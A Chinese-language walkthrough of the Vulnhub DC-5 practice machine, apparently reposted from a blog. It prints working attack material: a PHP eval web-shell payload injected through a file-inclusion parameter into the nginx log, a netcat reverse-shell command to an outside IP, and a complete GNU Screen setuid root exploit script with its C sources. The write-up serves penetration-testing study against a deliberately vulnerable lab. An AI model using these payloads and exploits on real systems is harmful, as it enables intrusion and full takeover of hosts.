Vulnhub DC5

靶机简介

DC-5是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。据我所知,只有一个可以利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。你需要寻找一些不寻常的东西(一些随着页面的刷新而改变的东西)。这将有望为漏洞可能涉及的问题提供一些思路。这个挑战的最终目标是获得根并阅读唯一的旗帜。

getshell

提示我们要刷新页面,有的东西要刷新页面而随之改变,通过这个线索找到了thankyou.php刷新页面会更新页脚

有时候是2017,有时候2018有时候2019

而后又通过目录扫描发现了footer.php

那么可以推测的是,thankphp通过文件包含包含了footer.php。但不知道写没有写死,如果没写死的话,这里就存在文件包含漏洞。

而事实证明是没有写死的

通过文件包含读取/etc/passwd

发现存在Mysql,那可以读一读mysql的配置文件

什么消息都没有得到。用nmap探测以下中间件

通过包含nginx日志getshell,nginx在linux下的默认路径/var/log/nginx/,先thankyou.php中file参数输入一句话。

thankyou.php?file=<?php @eval($_POST[dimp]);?>

而这句话会引起报错thankyou.php报错,,这个时候再去包含error.log,即可成功getshell

注意,之前一直在中间一句话中间加参数,即file=<?php+eval($_POST[dimp]);?>但是一直连接失败,后来把加号去掉就好了,可能因为写入日志的时候并没有转义加号。

提权

先反弹shell,由于目标环境存在nc,直接nc反弹

nc -e /bin/bash 192.168.43.201 4444

系统信息收集

uname -a
cat /etc/*release

但是并没有找到合适的提权漏洞

查看suid权限

然后一个一个百度搜有没有什么提权办法,当我搜到screen提权时。。

好的我知道了,

架设一个服务器,采用wget的方式下载poc到靶机上 (我傻了,用蚁剑上传不就行了)

但是却发现无法运行

查看这个.sh文件

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!
");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

发现它就是编译了两个c文件,然后运行。那么我们直接编译好在上传到靶机中运行即可。先创建libhax.c和rootshell.c,然后根据上面这个exp的命令编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

gcc -o rootshell rootshell.c

然后将两个生成的文件通过蚁剑上传到靶机,然后根据exp输入命令一步一步走就行了

查看最终flag

总结

1.不看wp,真的很难发现有个文件包含

2.有文件包含后,根据中间件读取日志

3.nginx包含日志文件getshell

4.suid提权,把每个suid权限挨个百度搜,看有没有办法提

原文地址:https://www.cnblogs.com/tlbjiayou/p/13960253.html